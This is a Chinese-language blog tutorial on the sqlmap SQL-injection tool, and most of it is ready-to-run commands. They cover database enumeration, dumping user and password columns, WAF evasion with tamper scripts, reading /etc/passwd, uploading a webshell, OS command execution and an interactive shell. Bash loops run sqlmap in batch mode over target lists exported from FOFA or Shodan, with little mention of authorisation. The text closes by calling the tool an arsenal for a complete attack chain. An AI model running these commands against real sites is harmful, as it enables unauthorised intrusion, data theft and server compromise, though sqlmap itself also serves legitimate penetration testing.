超详细 sqlmap 使用教程(从入门到进阶)_sqlmap使用教程
超详细 sqlmap 使用教程(从入门到进阶)
作者:Factor
- 超详细 sqlmap 使用教程(从入门到进阶)
-
- 一、安装 sqlmap
-
- 方式一:源码安装(推荐)
- 方式二:APT 安装(适用于 Kali、Debian)
- 二、基本命令语法
- 三、典型实战用法大全(按功能分类)
-
- 1、基础测试注入点
-
- 1、自动探测 GET 参数是否存在注入
- 2、测试 POST 请求参数
- 3、带 Cookie 测试(如登录后才可注入)
- 4、指定注入参数(默认会测试所有)
- 5、静态请求文件(如 Burp 抓包导出的 .txt)
- 2、数据库识别与信息收集
-
- 1、获取数据库类型和版本
- 2、获取当前数据库名
- 3、获取当前用户、权限
- 4、获取所有数据库名
- 5、枚举数据库的表名
- 6、枚举表内字段名
- 7、导出数据
- 3、绕过过滤和防护机制
-
- 1、伪造 User-Agent / Referer
- 2、自定义 HTTP 请求头
- 3、使用随机 UA 绕过 WAF
- 4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
- 4、特殊注入场景支持
-
- 1、支持时间盲注(time-based blind)
- 2、支持报错注入(error-based)
- 3、使用堆叠查询
- 5、文件系统操作(高危)
-
- 1、读取远程服务器文件(如配置文件)
- 2、上传写入 webshell(需要写权限)
- 6、系统命令执行(高权限下)
-
- 1、执行系统命令(如 whoami、ipconfig)
- 2、启动交互式命令行(非常强大)
- 7、登录口爆破测试(少见用法)
- 8、会话保存 / 自动继续扫描
-
- 1、保存扫描进度
- 2、继续之前未完成的任务
- 9、指定数据库引擎、注入技术
- 四、辅助技巧与实用建议
- 五、实战案例总结
- 六、总结建议
- 1. 自动化批量测试多个目标
-
- 方法一:使用 `--batch` + `--crawl` + Bash 脚本
- 方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)
- 2. 常用组合参数模板(实战推荐)
- 3. 常见 Tamper 绕过脚本说明
- 4. 对抗防火墙与 WAF 策略
-
- 1、检测是否有 WAF
- 5. SQL 注入技术选型建议
- 6. sqlmap session 保存与重用
- 7. 利用 sqlmap API 进行自动化任务管理
-
- 1、启动 API 服务端(默认端口 8775)
- 2、与之交互(Python 代码 / Postman / curl 调用)
- 8. 输出数据格式控制
- 9. sqlmap 配合渗透测试场景
- 10. 学习路径建议(由浅入深)
- 附:推荐资源
- ✅ 总结一句话:
sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。
一、安装 sqlmap
方式一:源码安装(推荐)
git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像cd sqlmappython3 sqlmap.py -h
方式二:APT 安装(适用于 Kali、Debian)
sudo apt updatesudo apt install sqlmapsqlmap -h
二、基本命令语法
sqlmap -u \"http://target.com/vuln.php?id=1\" [options]
-u
:目标 URL,支持 GET 和 POST 参数--data
:提交 POST 参数--cookie
:提交 Cookie 头-p
:指定注入点参数--batch
:自动确认(用于脚本执行时非交互)--random-agent
:伪造浏览器 UA
三、典型实战用法大全(按功能分类)
1、基础测试注入点
1、自动探测 GET 参数是否存在注入
sqlmap -u \"http://site.com/page.php?id=1\"
2、测试 POST 请求参数
sqlmap -u \"http://site.com/login.php\" --data=\"username=admin&password=123\"
3、带 Cookie 测试(如登录后才可注入)
sqlmap -u \"http://site.com/protected?id=5\" --cookie=\"PHPSESSID=xxxxxx\"
4、指定注入参数(默认会测试所有)
sqlmap -u \"http://site.com/page.php?id=1&sort=desc\" -p id
5、静态请求文件(如 Burp 抓包导出的 .txt)
sqlmap -r request.txt
2、数据库识别与信息收集
1、获取数据库类型和版本
sqlmap -u \"http://target.com/?id=1\" --banner
2、获取当前数据库名
sqlmap -u \"http://target.com/?id=1\" --current-db
3、获取当前用户、权限
sqlmap -u \"http://target.com/?id=1\" --current-user --is-dba
4、获取所有数据库名
sqlmap -u \"http://target.com/?id=1\" --dbs
5、枚举数据库的表名
sqlmap -u \"http://target.com/?id=1\" -D testdb --tables
6、枚举表内字段名
sqlmap -u \"http://target.com/?id=1\" -D testdb -T users --columns
7、导出数据
sqlmap -u \"http://target.com/?id=1\" -D testdb -T users -C username,password --dump
3、绕过过滤和防护机制
1、伪造 User-Agent / Referer
sqlmap -u \"http://target.com/?id=1\" --user-agent=\"Mozilla/5.0\" --referer=\"https://google.com\"
2、自定义 HTTP 请求头
sqlmap -u \"http://target.com\" --headers=\"X-API-KEY: 12345\\nClient-Version: 1.0\"
3、使用随机 UA 绕过 WAF
sqlmap -u \"http://target.com/?id=1\" --random-agent
4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
sqlmap -u \"http://target.com/?id=1\" --tamper=space2comment
推荐组合使用多个:
--tamper=space2comment,charunicodeescape,between
4、特殊注入场景支持
1、支持时间盲注(time-based blind)
sqlmap -u \"http://target.com/page.php?id=1\" --technique=T
2、支持报错注入(error-based)
sqlmap -u \"http://target.com/page.php?id=1\" --technique=E
3、使用堆叠查询
sqlmap -u \"http://target.com/page.php?id=1\" --stacked-query
5、文件系统操作(高危)
1、读取远程服务器文件(如配置文件)
sqlmap -u \"http://target.com/page.php?id=1\" --file-read=\"/etc/passwd\"
2、上传写入 webshell(需要写权限)
sqlmap -u \"http://target.com/page.php?id=1\" --file-write=./shell.jsp --file-dest=\"/var/www/html/shell.jsp\"
6、系统命令执行(高权限下)
1、执行系统命令(如 whoami、ipconfig)
sqlmap -u \"http://target.com/page.php?id=1\" --os-cmd=\"whoami\"
2、启动交互式命令行(非常强大)
sqlmap -u \"http://target.com/page.php?id=1\" --os-shell
注意:必须具备数据库用户执行系统命令的权限(如
xp_cmdshell
,load_file
,into outfile
等)
7、登录口爆破测试(少见用法)
如果某参数中存在注入点,sqlmap 可尝试暴力登录:
sqlmap -u \"http://target.com/login.php\" --data=\"user=admin&pass=123\" -p user --passwords
8、会话保存 / 自动继续扫描
1、保存扫描进度
sqlmap -u \"http://target.com\" --batch --flush-session
2、继续之前未完成的任务
sqlmap -u \"http://target.com\" --resume
9、指定数据库引擎、注入技术
--dbms=mysql # 强制使用 MySQL--technique=BEUSTQ # 指定注入技术
技术说明:
B
:布尔盲注E
:报错注入U
:联合查询S
:堆叠语句T
:时间盲注Q
:inline 查询
四、辅助技巧与实用建议
--level=5 --risk=3
--batch
--random-agent --tamper
--timeout=10 --retries=3 --delay=1
--fresh-queries --exclude-sysdbs
五、实战案例总结
例 1:自动识别 + 导出所有数据
sqlmap -u \"http://example.com/vuln?id=1\" --batch --dump-all
例 2:POST 登录接口注入测试
sqlmap -u \"http://site.com/login\" --data=\"user=admin&pass=123\" --batch
例 3:使用 Burp 抓包测试
sqlmap -r burp_request.txt --batch
例 4:读取数据库用户信息并执行 whoami
sqlmap -u \"http://target.com/?id=5\" --current-user --os-cmd=\"whoami\"
六、总结建议
--batch
做自动测试-p
参数-r
静态请求文件Burp + sqlmap
使用--risk=1 --level=1
--os-shell
等需谨慎使用🚀 七、sqlmap 高级技巧 & 实战应用拓展
1. 自动化批量测试多个目标
如果你有一个大量 URL 的列表,比如从 Google/Burp/爬虫中导出的可疑链接:
方法一:使用 --batch
+ --crawl
+ Bash 脚本
cat urls.txt | while read url; do sqlmap -u \"$url\" --batch --crawl=2 --threads=5done
方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)
结合搜索引擎导出资产后:
for u in $(cat fofa_urls.txt); do sqlmap -u \"$u?search=1\" --random-agent --batch --level=3 --risk=2done
2. 常用组合参数模板(实战推荐)
--random-agent --batch --threads=5
--level=1 --risk=1 --technique=B --time-sec=5 --delay=1
--data=\"user=admin&pass=123\"
--cookie=\"JSESSIONID=xxxxxx\"
--tamper=between,space2comment
--method=HEAD
--technique=T --time-sec=10
3. 常见 Tamper 绕过脚本说明
sqlmap 支持用 --tamper
参数指定脚本,在发送请求前修改 Payload(用于绕过 WAF):
space2comment.py
/**/
注释between.py
BETWEEN
替代等号charunicodeescape.py
equaltolike.py
=
替换为 LIKE
randomcase.py
unionalltounion.py
UNION ALL SELECT
改成 UNION SELECT
percentage.py
%
编码关键字✅ 组合使用示例:
sqlmap -u \"http://target.com/?id=1\" --tamper=space2comment,between,randomcase --random-agent --batch
4. 对抗防火墙与 WAF 策略
1、检测是否有 WAF
sqlmap -u \"http://target.com/?id=1\" --identify-waf
如果提示类似:
[!] WAF/IDS/IPS identified: Cloudflare
就说明目标使用了防御系统,应切换到:
- 慢速测试:
--delay=1 --timeout=10
- 编码绕过:
--tamper
- 限制技术:
--technique=B
5. SQL 注入技术选型建议
bash复制编辑--technique=BEUSTQ # 开启所有类型--technique=BEU # 只测回显类--technique=T # 强制盲注
6. sqlmap session 保存与重用
sqlmap 会默认保存扫描历史到 .sqlmap/output/host/
,也支持:
--flush-session
:清除上次扫描缓存--resume
:恢复未完成任务--output-dir=custom/
:自定义输出路径
7. 利用 sqlmap API 进行自动化任务管理
1、启动 API 服务端(默认端口 8775)
python3 sqlmapapi.py -s
2、与之交互(Python 代码 / Postman / curl 调用)
POST /task/newPOST /scan/startGET /scan/{id}/log
可搭配 Web UI 或自动化渗透框架集成,例如:
- Awvs + sqlmap 联动
- 命令行批量漏洞验证器中调 sqlmap API
8. 输出数据格式控制
--batch
--forms
--threads=10
--output-dir=xxx
--crawl=2
--fresh-queries
--parse-errors
--save
9. sqlmap 配合渗透测试场景
10. 学习路径建议(由浅入深)
- ✅ 掌握基本注入点扫描(
--dbs --tables --dump
) - ✅ 理解 6 大注入技术(BEUSTQ)
- ✅ 学会绕过 WAF(tamper 编写与选择)
- ✅ 学会构造 request.txt / Cookie / Header 注入
- ✅ 脚本化调用 sqlmap 自动打点
- ✅ 分析源码、写 tamper、定制注入 payload
附:推荐资源
sqlmapapi-client
✅ 总结一句话:
sqlmap 不只是一个扫描工具,它是一台自动化的数据库信息提取武器库,只要你掌握参数,就能完成注入探测、提权、文件操作等一整套攻击链。